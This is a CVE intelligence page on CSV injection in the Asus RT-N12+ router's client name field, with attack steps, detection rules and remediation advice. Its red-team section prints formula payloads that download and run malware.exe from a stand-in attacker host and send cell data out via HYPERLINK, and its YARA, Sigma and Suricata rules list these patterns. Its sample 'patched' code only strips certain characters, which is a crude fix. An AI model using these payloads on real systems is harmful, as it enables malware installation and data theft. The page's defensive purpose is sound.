☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-28328

CVE-2024-28328 Supply Chain Attack in Asus
📅 PUBLISHED: 2024-04-26 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-28328 identifies a CSV Injection vulnerability in the Asus RT-N12+ router. This flaw allows an authenticated administrator to inject arbitrary commands or formulas into the client name parameter. When the client list is exported to CSV format and opened by another user (e.g., in Microsoft Excel or LibreOffice Calc), the injected payload executes, potentially leading to command execution or data exfiltration on the victim's machine. The vulnerability is currently unpatched, and no official fix has been released by Asus. The attack vector is local network-based, requiring administrative access to the router's web interface.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the Asus RT-N12+ router.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a more realistic assessment would be:

  • Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same local network as the router.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – Administrative access to the router is needed.
  • User Interaction (UI): Required (R) – The victim must open the exported CSV file.
  • Scope (S): Changed (C) – The impact extends beyond the router to the victim's machine.
  • Confidentiality (C): High (H) – Potential for data exfiltration.
  • Integrity (I): High (H) – Arbitrary commands can be executed.
  • Availability (A): High (H) – System compromise could lead to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H Estimated Score: 7.6 (High)

Deep Dive & Mechanics

The vulnerability resides in the router's web administration interface, specifically in the client name field. When an administrator adds or edits a client (e.g., via DHCP reservation or client list), the input is not sanitized for CSV injection characters. The following characters are dangerous in CSV context:

  • = (Equals sign)
  • + (Plus sign)
  • - (Minus sign)
  • @ (At sign)

If an administrator sets a client name to =cmd|' /C calc'!A0, the router stores this value. When the administrator exports the client list to CSV, the payload is written into the CSV file. Upon opening this file in a spreadsheet application (e.g., Microsoft Excel), the formula is executed, potentially launching the calculator or performing more malicious actions like downloading malware.

The attack flow:

  1. Attacker gains admin access to the Asus RT-N12+ router (e.g., via default credentials or brute force).
  2. Attacker modifies a client name to include a CSV injection payload.
  3. Attacker exports the client list to CSV.
  4. Attacker sends the CSV file to a victim (e.g., via email or social engineering).
  5. Victim opens the CSV file in Excel, triggering the payload.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is in the router's firmware, likely in the web interface component that handles client name input and CSV export. The input validation is missing or insufficient.

Vulnerable Code (Conceptual):

// No sanitization of client name
$clientName = $_POST['client_name'];
// ... store in database ...
// Export to CSV
fputcsv($file, [$clientName, $mac, $ip]);

Patched Code (Conceptual):

// Sanitize client name to prevent CSV injection
$clientName = $_POST['client_name'];
$clientName = str_replace(['=', '+', '-', '@'], '', $clientName);
// ... store in database ...
// Export to CSV
fputcsv($file, [$clientName, $mac, $ip]);

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Obtain an Asus RT-N12+ router (or use a virtualized environment with the vulnerable firmware).
  2. Connect to the router's web interface (default IP: 192.168.1.1).
  3. Log in with administrative credentials (default: admin/admin).
  4. Navigate to the client list or DHCP reservation section.

Exploitation Steps:

  1. Add a new client or edit an existing one.
  2. Set the client name to a malicious payload, e.g.:
    =cmd|' /C powershell -Command "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile %temp%\malware.exe; Start-Process %temp%\malware.exe"'!A0
    
  3. Save the changes.
  4. Export the client list to CSV (usually via a "Export" or "Download" button).
  5. Send the CSV file to the victim.
  6. When the victim opens the CSV in Excel, the payload executes.

Alternative Payloads:

  • Data exfiltration: =HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")
  • Command execution: =cmd|' /C calc'!A0

Blue Team

Detection:

  • Monitor for unusual client names in the router's DHCP lease list.
  • Look for CSV files with suspicious formulas (starting with =, +, -, @).
  • Use endpoint detection to alert on Excel launching external commands or network connections.

Prevention:

  • Restrict administrative access to the router (use strong passwords, disable remote management).
  • Educate users not to open CSV files from untrusted sources.
  • Use a CSV viewer that does not execute formulas (e.g., Notepad++).
  • Implement network segmentation to limit exposure.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections from a machine to an external IP after opening a CSV file.
    • CSV files containing formulas starting with =, +, -, or @.
  • Host:
    • Processes spawned by Excel (e.g., cmd.exe, powershell.exe).
    • Registry modifications (if payload modifies registry).
    • Files downloaded to %temp% or %appdata%.
  • Router:
    • Client names containing special characters like =, +, -, @.
    • Unusual DHCP lease entries.

Detection Engineering

YARA Rule

rule CVE_2024_28328_CSV_Injection {
    meta:
        description = "Detects CSV files with potential injection payloads targeting Asus RT-N12+"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28328"
    strings:
        $injection1 = "=cmd|" ascii wide nocase
        $injection2 = "=HYPERLINK(" ascii wide nocase
        $injection3 = "=DDE(" ascii wide nocase
        $injection4 = "=MSEXCEL|" ascii wide nocase
        $injection5 = /^[=+\-@]/ ascii wide
    condition:
        any of ($injection1, $injection2, $injection3, $injection4) or
        ($injection5 and filesize < 10KB)
}

Sigma Rule

title: CSV Injection Payload Detected
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSV files containing formulas indicative of injection attacks (CVE-2024-28328)
author: Valters IT
date: 2024/01/01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        TargetFilename|contains:
            - '=cmd|'
            - '=HYPERLINK('
            - '=DDE('
            - '=MSEXCEL|'
    condition: selection
falsepositives:
    - Legitimate CSV files with formulas (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28328 CSV Injection - Potential Data Exfiltration"; flow:to_server,established; content:"=HYPERLINK("; nocase; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Change Default Credentials: Ensure the router's admin password is strong and not default.
  2. Disable Remote Management: If not needed, disable WAN access to the admin interface.
  3. Update Firmware: Check Asus's website for any firmware updates. If none, consider using third-party firmware like DD-WRT or OpenWrt (if supported).
  4. Network Segmentation: Place the router on a separate VLAN from sensitive systems.

Long-Term Fix:

  • Asus must release a firmware update that sanitizes client name input and CSV export functions.
  • Until then, avoid exporting client lists to CSV, or sanitize the CSV file manually before opening.

User Education:

  • Train users to recognize CSV injection risks.
  • Advise users to open CSV files in a text editor first, or use a spreadsheet application with macros disabled.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-28328/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.